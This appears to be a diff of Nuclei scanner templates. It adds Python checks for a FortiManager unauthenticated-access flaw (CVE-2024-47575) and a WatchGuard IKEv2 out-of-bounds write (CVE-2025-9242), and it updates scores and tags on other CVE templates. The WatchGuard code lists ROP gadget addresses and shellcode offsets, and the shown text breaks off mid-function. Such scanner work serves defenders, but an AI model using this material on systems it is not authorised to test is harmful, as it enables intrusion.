+    Update FortiManager to version 7.6.1 or later, 7.4.5 or later, 7.2.8 or later, 7.0.13 or later, or 6.4.15 or later.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-47575
+    - https://github.com/watchtowrlabs/Fortijump-Exploit-CVE-2024-47575
+    - https://fortiguard.fortinet.com/psirt/FG-IR-24-423
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2024-47575
+    cwe-id: CWE-306
+    epss-score: 0.93874
+    epss-percentile: 0.99861
+    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*
+  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev
+
+variables:
+  HOST: "{{Host}}"
+  PORT: "{{Port}}"
+  keysDir: "helpers/payloads/cve-2024-475759-keys"
+
+code:
+  - engine:
+      - py
+      - python3
+    source: |
+      import socket
+      import struct
+      import ssl
+      import logging
+      import os
+      import sys
+
+      logging.basicConfig(level=logging.INFO, format='%(message)s')
+
+      FW_VERSION = None
+
+      def create_ssl_context():
+          keys_dir = os.getenv("keysDir", "helpers/payloads/cve-2024-47575-keys")
+          cert_path = os.path.join(keys_dir, "w00t_cert.bin")
+          key_path = os.path.join(keys_dir, "w00t_key.bin")
+
+          try:
+              if os.path.isfile(cert_path) and os.path.isfile(key_path):
+                  context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
+                  context.load_cert_chain(certfile=cert_path, keyfile=key_path)
+                  context.check_hostname = False
+                  context.verify_mode = ssl.CERT_NONE
+                  logging.debug(f"Loaded certificate from {cert_path}")
+                  logging.debug(f"Loaded key from {key_path}")
+                  return context
+              else:
+                  logging.debug(f"Certificate or key not found: {cert_path}, {key_path}")
+                  context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
+                  context.check_hostname = False
+                  context.verify_mode = ssl.CERT_NONE
+                  return context
+          except Exception as e:
+              logging.debug(f"Failed to load certificates: {e}")
+              context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
+              context.check_hostname = False
+              context.verify_mode = ssl.CERT_NONE
+              return context
+
+      def send_message(sock, request):
+          message = struct.pack(">II", 0x36e01100, len(request) + 8) + request
+          sock.send(message)
+          hdr = sock.read(8)
+          if len(hdr) != 8:
+              return None
+          magic, size = struct.unpack(">II", hdr)
+          return sock.read(size - 8)
+
+      def check_vulnerability(target_ip, target_port, timeout=10):
+          global FW_VERSION
+
+          auth_request = b"get auth\r\nserialno=FGVMEVWG8YMT3R63\r\nmgmtid=00000000-0000-0000-0000-000000000000\r\nplatform=FortiGate-60E\r\nfos_ver=700\r\nminor=2\r\npatch=4\r\nbuild=1396\r\nbranch=1396\r\nmaxvdom=2\r\nfg_ip=192.168.1.53\r\nhostname=FortiGate\r\nharddisk=yes\r\nbiover=04000002\r\nharddisk_size=30720\r\nlogdisk_size=30107\r\nmgmt_mode=normal\r\nenc_flags=0\r\nmgmtip=192.168.1.53\r\nmgmtport=443\r\n\x00"
+
+          file_exchange_request = b"get file_exchange\r\nlocalid=123\r\nchan_window_sz=32768\r\ndeflate=gzip\r\nfile_exch_cmd=put_json_cmd\r\n\r\n\x00"
+
+          context = create_ssl_context()
+          sock = socket.create_connection((target_ip, target_port), timeout=timeout)
+          ssl_sock = context.wrap_socket(sock)
+
+          response = send_message(ssl_sock, auth_request)
+          if not response:
+              ssl_sock.close()
+              return False, None
+
+          response = send_message(ssl_sock, file_exchange_request)
+          if not response:
+              ssl_sock.close()
+              return False, None
+
+          try:
+              response_str = response.decode('utf-8', errors='ignore')
+              for line in response_str.split('\r\n'):
+                  if 'remoteid=' in line:
+                      remote_id = line.split('=')[1].strip()
+                      if remote_id:
+                          ssl_sock.close()
+                          return True, FW_VERSION
+          except Exception:
+              pass
+
+          ssl_sock.close()
+          return False, FW_VERSION
+
+      def main():
+          host = os.getenv("HOST")
+          port = os.getenv("PORT")
+
+          target_port = int(port) if port else 541
+
+          is_vulnerable, fw_version = check_vulnerability(host, target_port)
+
+          if is_vulnerable:
+              if fw_version:
+                  print(f"Vulnerable Version {fw_version}")
+              else:
+                  print("Vulnerable")
+          else:
+              if fw_version:
+                  print(f"NOT VULN Version {fw_version}")
+              else:
+                  print("NOT VULN")
+
+      if __name__ == "__main__":
+          main()
+
+    matchers:
+      - type: word
+        words:
+          - "Vulnerable"
+
+    extractors:
+      - type: dsl
+        dsl:
+          - response
+# digest: 4b0a00483046022100ec14e45bc6bc3f9a31bebf7c7e91cff5df5cb9159169aa0226e3d067fc01f1e2022100c71d9207b4a6d950032c7216f57a8e2347823a4f8aad944aa50de2e9b4fd6978:922c64590222798bb761d5b6d8e72950
@@ -17,14 +17,14 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-55556
    cwe-id: CWE-502
-    epss-score: 0.7976
-    epss-percentile: 0.99056
+    epss-score: 0.84379
+    epss-percentile: 0.99271
  metadata:
    verified: true
    max-request: 2
    shodan-query: 'http.title:"InvoiceShelf"'
    fofa-query: 'title="InvoiceShelf"'
-  tags: cve,cve2024,invoiceshelf,rce,deserialization
+  tags: cve,cve2024,invoiceshelf,rce,deserialization,vuln

 variables:
  marker: "{{randstr}}"
@@ -193,4 +193,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 490a00463044022016dfa320fa878a37fa63ed32d5ead3791275ea293d4e0e34736185b321d274990220467443ef008e8ff21dc0c857b513953dba378a63e3fd8d2cda1d6b53e81da2d6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c33a7e4170efd830fed04dc81dff116c0d6de6a7a04013690afafee5aa4dd7eb022016a273dda70ccb4e18af5f17d14d297c9dbcfbe9981b3789e6ea9b4eafeab7a9:922c64590222798bb761d5b6d8e72950
@@ -22,13 +22,13 @@ info:
    cve-id: CVE-2024-56331
    cwe-id: CWE-22
    epss-score: 0.41406
-    epss-percentile: 0.97304
+    epss-percentile: 0.97235
  metadata:
    verified: true
    shodan-query: http.title:"Uptime Kuma"
    product: uptime-kuma
    vendor: uptime-kuma
-  tags: cve,cve2024,lfi,uptime-kuma,file-disclosure
+  tags: cve,cve2024,lfi,uptime-kuma,file-disclosure,vuln

 variables:
  username: "{{username}}"
@@ -124,4 +124,4 @@ code:
      - type: word
        words:
          - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 4b0a00483046022100abee75ab22c9130459214c5e961c1dec541e1e346f513a2362a9dff7cd1e7ff1022100ed4cd1629cbd3226f1015256b20531f6c380116cd1554b09748bc364b8701ca2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204c5b24fda7a91e193ed794e32f38673f924ed17e393ebcb8e6e0e9351a6cde85022100860aa6411a18b6baec11fa99823a8fb2c3ed558adab797c067b1fe8ff009577e:922c64590222798bb761d5b6d8e72950
@@ -11,11 +11,11 @@ info:
    - https://github.com/advisories/GHSA-g83h-4727-5rpv
  classification:
    epss-score: 0.36115
-    epss-percentile: 0.96971
+    epss-percentile: 0.96904
  metadata:
    verified: true
    shodan-query: title:"GitHub Enterprise"
-  tags: cve,cve2024,github,ghe,saml,auth-bypass,sso
+  tags: cve,cve2024,github,ghe,saml,auth-bypass,sso,vuln

 code:
  - engine:
@@ -188,4 +188,4 @@ http:
      - type: kval
        kval:
          - user_session
-# digest: 4b0a004830460221009abc9077aff0ec0190f80612eebba5ed1f4c66886cc2bf82f0b1e6d68beee6f7022100c53f3a1a7d646b5387fae2fd4480eb6985c0da93221da148a3a891e56db33889:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207d41ce6b6af9c3b0133e15c33183fdce00ba09f874633dbea4f3cb29234c64d8022004ad19707190bb70f9ff118286b04f22a704b252594a598f0b96850afa09a55d:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.0
    cve-id: CVE-2025-22457
    cwe-id: CWE-121,CWE-787
-    epss-score: 0.71695
-    epss-percentile: 0.98675
+    epss-score: 0.76863
+    epss-percentile: 0.98898
    cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
  metadata:
    vendor: ivanti
@@ -31,7 +31,7 @@ info:
    fofa-query: title="ivanti connect secure"
    zoomeye-query: title:"ivanti connect secure"
    google-query: intitle:"ivanti connect secure"
-  tags: cve,cve2025,ivanti,intrusive,kev,vkev
+  tags: cve,cve2025,ivanti,intrusive,kev,vkev,vuln

 variables:
  HOST: "{{Host}}"
@@ -128,4 +128,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4b0a00483046022100ff056b54c8aea9bee9432f27c932a4006675c4ddae75299340b5f5724dd1e52b022100eb2854cced7708c6fecefa6ed5b357f28bcaaac8da97ea92e4ecf4ed277b711d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203f75dbfaad4ad6b004f89a6abe6b8ff05ec8c740385c91234058adab770eb6ea022100d31419b68e13b98dbfdede575d41d57e7b949ade2001446d470aa73c3a7f4bb4:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.3
    cve-id: CVE-2025-25291
    cwe-id: CWE-347
-    epss-score: 0.24123
-    epss-percentile: 0.95871
+    epss-score: 0.17247
+    epss-percentile: 0.94744
  metadata:
    verified: true
    vendor: gitlab
@@ -35,7 +35,7 @@ info:
      - body="gitlab-ci.yml"
      - title="gitlab"
    google-query: intitle:"gitlab"
-  tags: cve,cve2025,saml,auth-bypass,gitlab,code
+  tags: cve,cve2025,saml,auth-bypass,gitlab,code,vuln

 code:
  - engine:
@@ -78,4 +78,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 4a0a004730450220609976c203cd6f7da9407e5ab614f1b9a124c187917fbfb7b83877af9e971d1d022100a7ac8fa61a6c63a000515b853983064295eca064b0012fef5d02cbe11cccf8b0:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202d4a3417e1248c02987e65aaa3859a0691580be5c5e6841ef09e1546d4f6ce770220709dc70e279c9f4aa652e8391870e72f9f0ed9badcc811469e6425b2882cd484:922c64590222798bb761d5b6d8e72950
@@ -20,13 +20,13 @@ info:
    cvss-score: 10
    cve-id: CVE-2025-32433
    cwe-id: CWE-306
-    epss-score: 0.68017
-    epss-percentile: 0.98535
+    epss-score: 0.53778
+    epss-percentile: 0.97866
  metadata:
    verified: true
    max-request: 1
    shodan-query: "Erlang OTP"
-  tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev,vkev
+  tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev,vkev,vuln

 variables:
  OAST: "{{interactsh-url}}"
@@ -172,4 +172,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4a0a0047304502200776c26b5012736b61e4e769c0e1c1be4001e7c79bf9ac921ca48791ab34e27c0221008a8c68c781d13c2b02fd17b43645c7ab5f53d24a197d4a17077c7d231d32385f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a836215ff57c937a4e67f2d0356c07465020153450ad01d5d8fb3ee70ea58c7d022074f5c22f26df10c73b3c23b69fccd923b643dd8de88c214cfed73f65fc67f2a5:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-54309
-    epss-score: 0.50657
-    epss-percentile: 0.97757
+    epss-score: 0.56973
+    epss-percentile: 0.98016
    cwe-id: CWE-287,CWE-362
    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
  metadata:
@@ -33,7 +33,7 @@ info:
      - icon_hash="-1022206565"
    zoomeye-query: title:"crushftp"
    google-query: intitle:"crushftp"
-  tags: cve,cve2025,crushftp,auth-bypass,race-condition,kev,vkev
+  tags: cve,cve2025,crushftp,auth-bypass,race-condition,kev,vkev,vuln

 variables:
  HOST: "{{Host}}"
@@ -200,4 +200,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4b0a00483046022100ee222071b04213a8f617b037d0e9fc528fb22d37612c562692866bf91b5a537c022100e0ca08283f306c54396c6a78765d4f548c3e5ea30c793ce7b88b8fe94ea22b50:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009e096641682d45560e5ef9e35a24ef1d999c1237e1c7300af90e97c940eda5a1022100af9eb03cc7d7732a901c609bef6ca34d6632f0827751b77c4338a9f26eee5e2c:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
  classification:
-    epss-score: 0.16633
-    epss-percentile: 0.94678
+    epss-score: 0.28615
+    epss-percentile: 0.96307
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6216
@@ -29,7 +29,7 @@ info:
    product: allegra
    shodan-query: http.favicon.hash:"284403119"
    fofa-query: icon_hash="284403119"
-  tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset
+  tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset,vuln

 variables:
  email: "[email protected]"  # Change to a test account
@@ -115,4 +115,4 @@ code:
      - type: dsl  # type of the extractor
        dsl:
          - '"Reset URL: " + code_response'
-# digest: 4b0a00483046022100c17a50af30c68b5f39d2fac15226615a7783edf7354a41cac982a44723e28bf1022100f5e2b6889047eaddd19c4beff35bf919b8f1955b44a62e49c28e3acdc2838882:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204e15f75d847313a94159ce612853e8d43c07acd7907aaa6116166434ed694ca6022100b51bf8064525483171bb588675b324c60cbe3f8a3987f86db575d2baeaa20225:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,555 @@
+id: CVE-2025-9242
+
+info:
+  name: WatchGuard IKEv2 Out-of-Bounds Write Vulnerability
+  author: pussycat0x,DhiyaneshDK,watchTowr
+  severity: critical
+  description: |
+    WatchGuard Fireware OS 11.10.2 to 11.12.4_Update1, 12.0 to 12.11.3, and 2025.1 contains an out-of-bounds write caused by improper handling in Mobile User VPN and Branch Office VPN with IKEv2 dynamic gateway peer, letting remote unauthenticated attackers execute arbitrary code.
+  impact: |
+    Remote unauthenticated attackers can execute arbitrary code, potentially leading to full system compromise.
+  remediation: |
+    Update to the latest Fireware OS version beyond 2025.1.
+  reference:
+    - https://github.com/watchtowrlabs/watchTowr-vs-WatchGuard-CVE-2025-9242/
+    - https://labs.watchtowr.com/yikes-watchguard-fireware-os-ikev2-out-of-bounds-write-cve-2025-9242
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-9242
+    cwe-id: CWE-787,CWE-362
+    epss-score: 0.055
+    epss-percentile: 0.89772
+    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    shodan-query: html:"Watchguard" html:"Authentication Server"
+  tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn
+
+variables:
+  HOST: "{{Host}}"
+  PORT: "{{Port}}"
+
+code:
+  - engine:
+      - py
+      - python3
+    source: |
+      import socket
+      import struct
+      import random
+      import enum
+      import hashlib
+      import hmac
+      import logging
+      import base64
+      import binascii
+      import re
+      import sys
+      import os
+      from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
+      from cryptography.hazmat.backends import default_backend
+
+      # Configure logging
+      logging.basicConfig(level=logging.INFO, format='%(message)s')
+
+      FW_VERSION = None
+      BUILD_NUMBER = None
+
+      class WatchGuardFw:
+          ADDRESSES = {
+              '12.11.3': {
+                  'pop_rcx_ret': 0x4225ab,
+                  'mov_rax_rcx_ret': 0x5a4fac,
+                  'mov_rbp_rsp_call_rax': 0x42008d,
+                  'pop_r13_ret': 0x594ac4,
+                  'mov_rax_rbp_pop_rbx_pop_rbp_ret': 0x598d69,
+                  'sub_rax_rcx_ret': 0x5a4fd8,
+                  'push_rax_mov_rax_rbx_pop_rbx_ret': 0x5a4468,
+                  'mov_rdi_rbx_call_rax': 0x42fce4,
+                  'pop_rsi_ret': 0x508ece,
+                  'pop_rdx_ret': 0x483a4a,
+                  'mov_rax_rax_ret': 0x5b145e,
+                  'jmp_rax': 0x41908f,
+                  'jmp_rbx': 0x449ba3,
+                  'offset_data': 0x00,
+                  'offset_shellcode': 0x30,
+                  'offset_stack': 0x340,
+                  'offset_stack_page_aligned': 0x0cc8,
+                  'offset_bind_mprotect': 0x5ea0,
+                  'got_bind': 0x658028,
+              },
+          }
+
+          @staticmethod
+          def version_tuple(v):
+              return tuple(map(int, (v.split("."))))
+
+      class PayloadType(enum.IntEnum):
+          NONE = 0
+          TRANSFORM = 3
+          SECURITY_ASSOCIATION = 33
+          KEY_EXCHANGE = 34
+          IDENTIFIER_INITIATOR = 35
+          IDENTIFIER_RESPONDER = 36
+          CERTIFICATE = 37
+          CERTIFICATE_REQUEST = 38
+          AUTHENTICATION = 39
+          NONCE = 40
+          NOTIFY = 41
+          DELETE = 42
+          VENDOR_ID = 43
+          TRAFFIC_SELECTOR_INITIATOR = 44
+          TRAFFIC_SELECTOR_RESPONDER = 45
+          ENCRYPTED = 46
+          CONFIGURATION = 47
+          EXTENSIBLE_AUTHENTICATION = 48
+
+      class ExchangeType(enum.IntEnum):
+          IKE_SA_INIT = 34
+          IKE_AUTH = 35
+          CREATE_CHILD_SA = 36
+          INFORMATIONAL = 37
+
+      class TransformType(enum.IntEnum):
+          ENCRYPTION_ALGORITHM = 1
+          PSEUDO_RANDOM_FUNCTION = 2
+          INTEGRITY_ALGORITHM = 3
+          DIFFIE_HELLMAN_GROUP = 4
+
+      class NotifyType(enum.IntEnum):
+          UNSUPPORTED_CRITICAL_PAYLOAD = 1
+          INVALID_IKE_SPI = 4
+          INVALID_MAJOR_VERSION = 5
+          INVALID_SYNTAX = 7
+          INVALID_MESSAGE_ID = 9
+          INVALID_SPI = 11
+          NO_PROPOSAL_CHOSEN = 14
+          INVALID_KE_PAYLOAD = 17
+          AUTHENTICATION_FAILED = 24
+          SINGLE_PAIR_REQUIRED = 34
+          NO_ADDITIONAL_SAS = 35
+          INTERNAL_ADDRESS_FAILURE = 36
+          FAILED_CP_REQUIRED = 37
+          TS_UNACCEPTABLE = 38
+          INVALID_SELECTORS = 39
+          INITIAL_CONTACT = 16384
+          SET_WINDOW_SIZE = 16385
+          ADDITIONAL_TS_POSSIBLE = 16386
+          IPCOMP_SUPPORTED = 16387
+          NAT_DETECTION_SOURCE_IP = 16388
+          NAT_DETECTION_DESTINATION_IP = 16389
+          COOKIE = 16390
+          USE_TRANSPORT_MODE = 16391
+          HTTP_CERT_LOOKUP_SUPPORTED = 16392
+          REKEY_SA = 16393
+          ESP_TFC_PADDING_NOT_SUPPORTED = 16394
+          NON_FIRST_FRAGMENTS_ALSO = 16395
+          MOBIKE_SUPPORTED = 16396
+          MULTIPLE_AUTH_SUPPORTED = 16404
+          REDIRECT_SUPPORTED = 16406
+          IKEV2_FRAGMENTATION_SUPPORTED = 16430
+          SIGNATURE_HASH_ALGORITHMS = 16431
+
+      class EncryptionAlgorithm(enum.IntEnum):
+          ENCR_DES_IV64 = 1
+          ENCR_DES = 2
+          ENCR_3DES = 3
+          ENCR_RC5 = 4
+          ENCR_IDEA = 5
+          ENCR_CAST = 6
+          ENCR_BLOWFISH = 7
+          ENCR_3IDEA = 8
+          ENCR_DES_IV32 = 9
+          RESERVED = 10
+          ENCR_NULL = 11
+          ENCR_AES_CBC = 12
+          ENCR_AES_CTR = 13
+          ENCR_AES_CCM_8 = 14
+          ENCR_AES_CCM_12 = 15
+          ENCR_AES_CCM_16 = 16
+          ENCR_AES_GCM_8 = 18
+          ENCR_AES_GCM_12 = 19
+          ENCR_AES_GCM_16 = 20
+          ENCR_NULL_AUTH_AES_GMAC = 21
+          P1619_XTS_AES = 22
+          ENCR_CAMELLIA_CBC = 23
+          ENCR_CAMELLIA_CTR = 24
+          ENCR_CAMELLIA_CCM_8 = 25
+          ENCR_CAMELLIA_CCM_12 = 26
+          ENCR_CAMELLIA_CCM_16 = 27
+          ENCR_CHACHA20_POLY1305 = 28
+          ENCR_AES_CCM_8_IIV = 29
+          ENCR_AES_GCM_16_IIV = 30
+          ENCR_CHACHA20_POLY1305_IIV = 31
+          ENCR_KUZNYECHIK_MGM_KTREE = 32
+          ENCR_MAGMA_MGM_KTREE = 33
+          ENCR_KUZNYECHIK_MGM_MAC_KTREE = 34
+          ENCR_MAGMA_MGM_MAC_KTREE = 35
+
+      class PseudoRandomFunction(enum.IntEnum):
+          PRF_HMAC_MD5 = 1
+          PRF_HMAC_SHA1 = 2
+          PRF_HMAC_TIGER = 3
+          PRF_AES128_XCBC = 4
+          PRF_HMAC_SHA2_256 = 5
+          PRF_HMAC_SHA2_384 = 6
+          PRF_HMAC_SHA2_512 = 7
+          PRF_AES128_CMAC = 8
+          PRF_HMAC_STREEBOG_512 = 9
+
+      class IntegrityAlgorithm(enum.IntEnum):
+          AUTH_HMAC_MD5_96 = 1
+          AUTH_HMAC_SHA1_96 = 2
+          AUTH_DES_MAC = 3
+          AUTH_KPDK_MD5 = 4
+          AUTH_AES_XCBC_96 = 5
+          AUTH_HMAC_MD5_128 = 6
+          AUTH_HMAC_SHA1_160 = 7
+          AUTH_AES_CMAC_96 = 8
+          AUTH_AES_128_GMAC = 9
+          AUTH_AES_192_GMAC = 10
+          AUTH_AES_256_GMAC = 11
+          AUTH_HMAC_SHA2_256_128 = 12
+          AUTH_HMAC_SHA2_384_192 = 13
+          AUTH_HMAC_SHA2_512_256 = 14
+
+      class DiffieHellmanGroup(enum.IntEnum):
+          DH_GROUP_2048_BIT_MODP = 14
+          DH_GROUP_768_BIT_MODP = 1
+          DH_GROUP_1024_BIT_MODP = 2
+          DH_GROUP_1536_BIT_MODP = 5
+          DH_GROUP_3072_BIT_MODP = 15
+          DH_GROUP_4096_BIT_MODP = 16
+          DH_GROUP_6144_BIT_MODP = 17
+          DH_GROUP_8192_BIT_MODP = 18
+          RANDOM_ECP_GROUP_256_BIT = 19
+          RANDOM_ECP_GROUP_384_BIT = 20
+          RANDOM_ECP_GROUP_521_BIT = 21
+          DH_GROUP_1024_BIT_MODP_WITH_160_BIT_PRIME_ORDER_SUBGROUP = 22
+          DH_GROUP_2048_BIT_MODP_WITH_224_BIT_PRIME_ORDER_SUBGROUP = 23
+          DH_GROUP_2048_BIT_MODP_WITH_256_BIT_PRIME_ORDER_SUBGROUP = 24
+          RANDOM_ECP_GROUP_192_BIT = 25
+          RANDOM_ECP_GROUP_224_BIT = 26
+          BRAINPOOLP224R1 = 27
+          BRAINPOOLP256R1 = 28
+          BRAINPOOLP384R1 = 29
+          BRAINPOOLP512R1 = 30
+          CURVE25519 = 31
+          CURVE448 = 32
+          GOST3410_2012_256 = 33
+          GOST3410_2012_512 = 34
+          ML_KEM_512 = 35
+          ML_KEM_768 = 36
+          ML_KEM_1024 = 37
+
+      class IkePacker:
+          @staticmethod
+          def header(initiator_spi, responder_spi, next_payload, exchange_type, message_id, version=0x20, flags = 0x08):
+              return struct.pack('>QQBBBBII', initiator_spi, responder_spi, next_payload, version, exchange_type, flags, message_id, 0)
+
+          @staticmethod
+          def payload_header(next_payload, payload, critical = 0):
+              return struct.pack('>BBH', next_payload, critical, 4 + len(payload)) + payload
+
+          @staticmethod
+          def security_association(next_payload, proposal):
+              return IkePacker.payload_header(next_payload, proposal)
+
+          @staticmethod
+          def proposal(next_payload, number, id, transforms = [], spi = b''):
+              b_transforms = b''
+              for transform in transforms:
+                  if isinstance(transform, IkeTransform):
+                      b_transforms += transform.pack()
+                      continue
+                  b_transforms += transform
+              return IkePacker.payload_header(next_payload, struct.pack('>BBBB', number, id, len(spi), len(transforms)) + spi + b_transforms)
+
+          @staticmethod
+          def key_exchange(next_payload, dh_group, data, reserved = 0):
+              return IkePacker.payload_header(next_payload, struct.pack('>HH', dh_group, reserved) + data)
+
+          @staticmethod
+          def nonce(next_payload, nonce):
+              return IkePacker.payload_header(next_payload, nonce)
+
+          @staticmethod
+          def notify(next_payload, notify_type, data = b'', protocol_id = 1, spi_size = 0):
+              return IkePacker.payload_header(next_payload, struct.pack('>BBH', protocol_id, spi_size, notify_type) + data)
+
+          @staticmethod
+          def vendor_id(next_payload, vendor_id):
+              return IkePacker.payload_header(next_payload, vendor_id)
+
+      class IkeTransform:
+          def __init__(self, next_payload, transform_type, transform_id, transform_attributes=None, reserved=0):
+              self.next_payload = next_payload
+              self.transform_type = transform_type
+              self.reserved = reserved
+              self.transform_id = transform_id
+              self.transform_attributes = transform_attributes
+
+          def pack(self):
+              transform = struct.pack('>BBH', self.transform_type, self.reserved, self.transform_id)
+              if self.transform_attributes:
+                  transform += struct.pack('>I', self.transform_attributes)
+              return IkePacker.payload_header(self.next_payload, transform)
+
+      class IkeResponse:
+          def __init__(self, initiator_spi, responder_spi, version, exchange_type, flags, message_id, length, payloads):
+              self.initiator_spi = initiator_spi
+              self.responder_spi = responder_spi
+              self.version = version
+              self.exchange_type = exchange_type
+              self.flags = flags
+              self.message_id = message_id
+              self.length = length
+              self.payloads = payloads
+
+          def get(self, type):
+              payloads = []
+              for payload in self.payloads:
+                  if payload['type'] == type:
+                      payloads.append(payload['payload'])
+              return payloads
+
+      class IkeUnpacker:
+          @staticmethod
+          def unpack_payload_header(data):
+              return struct.unpack('>BBH', data[:4])
+
+          @staticmethod
+          def unpack(response):
+              initiator_spi, responder_spi, next_payload, version, exchange_type, flags, message_id, length = struct.unpack('>QQBBBBII', response[:28])
+              raw_payloads = response[28:]
+
+              i = 0
+              payload_type = next_payload
+              payloads = []
+              while i < len(raw_payloads):
+                  next_payload, critical, payload_length = IkeUnpacker.unpack_payload_header(raw_payloads[i:i+4])
+                  payload = raw_payloads[i+4:i+payload_length]
+
+                  if payload_type == PayloadType.VENDOR_ID:
+                      payload = payload
+
+                  payloads.append({
+                      'type': payload_type,
+                      'critical': critical,
+                      'payload': payload
+                  })
+                  i += payload_length
+                  payload_type = next_payload
+
+              return IkeResponse(
+                  initiator_spi,
+                  responder_spi,
+                  version,
+                  exchange_type,
+                  flags,
+                  message_id,
+                  length,
+                  payloads
+              )
+
+      class IkeCrypto:
+          def __init__(self):
+              self.initiator_nonce = self.generate_nonce(32)
+              self.initiator_spi = random.randint(0, 0xffffffffffffffff)
+              self.responder_spi = 0x0000000000000000
+              self.client_private_key = None
+              self.client_public_key = None
+              self.client_public_key_bytes = None
+              self.generate_keys = self.dh_modp_14_generate_keys
+              self.generate_keys()
+
+          def generate_nonce(self, length=32):
+              return random.getrandbits(length * 8).to_bytes(length, 'big')
+
+          def dh_modp_14_generate_keys(self):
+              p_hex = 'FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF'
+              self.p = int(p_hex, 16)
+              if self.p.bit_length() != 2048:
+                  self.p = self.p >> (self.p.bit_length() - 2048)
+              g = 2
+              self.client_private_key = random.randint(1, self.p - 1)
+              self.client_public_key = pow(g, self.client_private_key, self.p)
+              public_key_bit_length = self.client_public_key.bit_length()
+              public_key_byte_length = (public_key_bit_length + 7) // 8
+              if public_key_byte_length > 256:
+                  raise ValueError(f"Public key too large: {public_key_byte_length} bytes (max 256)")
+              self.client_public_key_bytes = self.client_public_key.to_bytes(public_key_byte_length, 'big').rjust(256, b'\x00')
+
+      class IkeException(Exception):
+          pass
+
+      class IkeNoProposalChosenException(IkeException):
+          pass
+
+      class IkeInvalidKEPayloadException(IkeException):
+          pass
+
+      class Ike:
+          def __init__(self, ip, port, timeout = 5):
+              self.ip = ip
+              self.port = port
+              self.timeout = timeout
+              self.crypto = None
+              self.sock = None
+              self.reset()
+
+          @staticmethod
+          def update_request_length(request):
+              total_length = len(request)
+              return request[:24] + struct.pack('>I', total_length) + request[28:]
+
+          def reset(self):
+              if self.sock != None:
+                  self.close()
+              self.crypto = IkeCrypto()
+              self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+              self.sock.settimeout(self.timeout)
+
+          def send(self, packet):
+              self.sock.sendto(packet, (self.ip, self.port))
+              response, addr = self.sock.recvfrom(65535)
+              return IkeUnpacker.unpack(response)
+
+          def close(self):
+              self.sock.close()
+              self.sock = None
+
+          def sa_init(self):
+              global FW_VERSION, BUILD_NUMBER
+              dh_group = DiffieHellmanGroup.DH_GROUP_2048_BIT_MODP.value
+              key_exchange = self.crypto.client_public_key_bytes
+              transforms = [
+                  IkeTransform(PayloadType.TRANSFORM, TransformType.ENCRYPTION_ALGORITHM, EncryptionAlgorithm.ENCR_AES_CBC.value, 0x800e0100),
+                  IkeTransform(PayloadType.TRANSFORM, TransformType.PSEUDO_RANDOM_FUNCTION, PseudoRandomFunction.PRF_HMAC_SHA2_256.value),
